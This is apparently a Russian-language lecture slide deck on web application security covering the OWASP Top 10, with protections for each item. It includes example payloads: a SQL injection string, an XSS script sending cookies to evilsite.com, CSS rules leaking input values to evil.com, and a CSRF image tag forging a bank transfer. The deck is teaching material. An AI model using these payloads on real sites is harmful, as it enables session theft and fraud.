Безопасность
веб-приложений

Олег Мохов

Ликбез

Угроза

потенциально возможное событие, которое посредством работы с компонентами сервиса, может нанести ущерб

Уязвимость

свойство сервиса, использование которого злоумышленником приводит к реализации угрозы

Атака

реализация угрозы, путём использования уязвимостей

OWASP

The Open Web Application
Security Project

OWASP Top 10

Injection

SQL injection


SELECT * FROM accounts WHERE user='1'
                

http://mysite.com/user?id=1
                

let sql = "SELECT * FROM accounts WHERE user='%user%'";
sql.replace('%user%', req.query.id);
                

SQL injection


http://mysite.com/user?id=-1' or '1'='1
                

SELECT * FROM accounts WHERE user='-1' or '1'='1'
                

SQL injection. Защита

  • Эскейпинг небезопасных символов перед использованием в запросе
  • Использование параметризованных запросов

XSS

Cross Site-Scripting

XSS

атака при которой вредоносный код внедряется в код вашего сайта и может быть запущен

XSS



                

res.render('Привет, ' + req.query.username);
                

<script>
window.location='http://evilsite.com?a='+document.cookie;
</script>
                

XSS


http://mysite.com?username=Vanya
                

http://mysite.com?username=Vanya
                

Пример от Пети

Типы XSS

  • Хранимые
  • Отраженные

Что можно увести?

  • document.cookie
  • window.localStorage
  • keylogger
  • redirect

Способы запуска скриптов


<div style='{{css}}'>
    <input value='{{value}}'>
    Hello, {{title}}
    {{image}}
</div>
                

Через атрибут тега


<input value='{{value}}'>
                

value = "' onmouseover='alert(1)'"
                

Через CSS


<div style='{{css}}'>
                

input[value^="a"] {
    background-color: url(//evil.com/?v=a);
}
input[value^="b"] {
    background-color: url(//evil.com/?v=b);
}
                

Через картинку


{{image}}
                


    


    

                

XSS. Защита

  • Валидация входных данных
  • escape'инг данных при генерации страниц
  • Использование санитайзеров (sanitize-html)
  • Использование CSP

CSP

Content Security Policy


Content-Security-Policy: default-src 'self'
                

Content-Security-Policy: default-src 'self' *.trusted.com
                

Content-Security-Policy:
    default-src 'self';
    img-src *;
    media-src media1.com media2.com;
    script-src userscripts.example.com
                

Content-Security-Policy:
    default-src https://onlinebanking.jumbobank.com
                

XSS. Защита

  • Валидация входных данных
  • escape'инг данных при генерации страниц
  • Использование санитайзеров (sanitize-html)
  • Использование CSP
  • Флаг HTTPOnly, SecureOnly для кук
  • Заголовок X-XSS-Protection
  • Заголовок X-Frame-Options

ClickJacking


X-Frame-Options: SAMEORIGIN
X-Frame-Options: DENY
                

if ($http_referer !~ "^https?://([^/]+\.)?webvisor\.com/"){
    add_header X-Frame-Options SAMEORIGIN always;
}
                

OWASP XSS Prevention Cheat Sheet

Слабый механизм аутентификации и менеджмента сессий

Weak authentication and session management

Сессии на основе cookie


GET /index HTTP/1.1
Host: example.com
Cookie: session_id=123456;
                

Типичные «запахи»

  • Фиксация сессий на длительное время
  • Перехват паролей
  • «Угадывание» сессий
  • Передача сессий в GET-параметре
  • Перебор через форму логина
  • Увод cookie через XSS

Способы защиты

  • Использование готовых и протестированных библиотек
  • Не хранить и не передавать пользовательские данные в открытом виде

Это сложная задача!

Гайд OWASP v4

Небезопасные прямые ссылки на объекты

Insecure Direct Object References

Сессии на основе cookie


http://example.com/user?accountId=12345678
                

Способы защиты

  • Проверять авторизацию
  • Минимизировать использование прямых указателей на объекты системы

CSRF

Cross Site Request Forgery

CSRF


http://mybank.ru/transfer?amount=100000&to=123456
                

<img
src="http://mybank.ru/transfer?amount=100000&to=123456">
                

Способы защиты

  • Подписывание запросов токеном
  • Дополнительно рекомендуется все действия делать POST-запросами
  • Проверка источника запроса

Insecure Cryptographic Storage

А давайте напишем свой алгоритм шифрования!

Insecure Cryptographic Storage

  • Разработчики написали свой алгоритм шифрования
  • Приложение хранит критичную информацию в открытом виде в базе
  • Пароли хэшируются, но не солятся

Способы защиты

  • Используйте готовые и проверенные алгоритмы шифрования
  • Используйте стойки алгоритмы
  • Разработайте систему безопасного хранения ключей шифрования
  • «Солите» хэши

Missing Function Level Access Control


http://mysite.com/nimda
                

Способы защиты

  • Доступ запрещён по умолчанию
  • Аутентификация и авторизация
  • Политики и роли

Insufficient Transport Layer Protection

Insufficient Transport Layer Protection

  • Критичная информация передаётся по протоколу HTTP
  • Публичный Wi-Fi (Dlink Wi-Fi)
  • Самоподписанные сертификаты

Способы защиты

  • HTTPS only
  • Аттрибут Secure для сессионной куки, STS
  • Регулярные сканирования

Unvalidated Redirects and Forwards

Unvalidated Redirects and Forwards


http://mysite.com/redirect?url=http://evil.com
                

Способы защиты

  • Не использовать редиректы
  • Предупреждать пользователя об уходе на другую страницу

Ссылки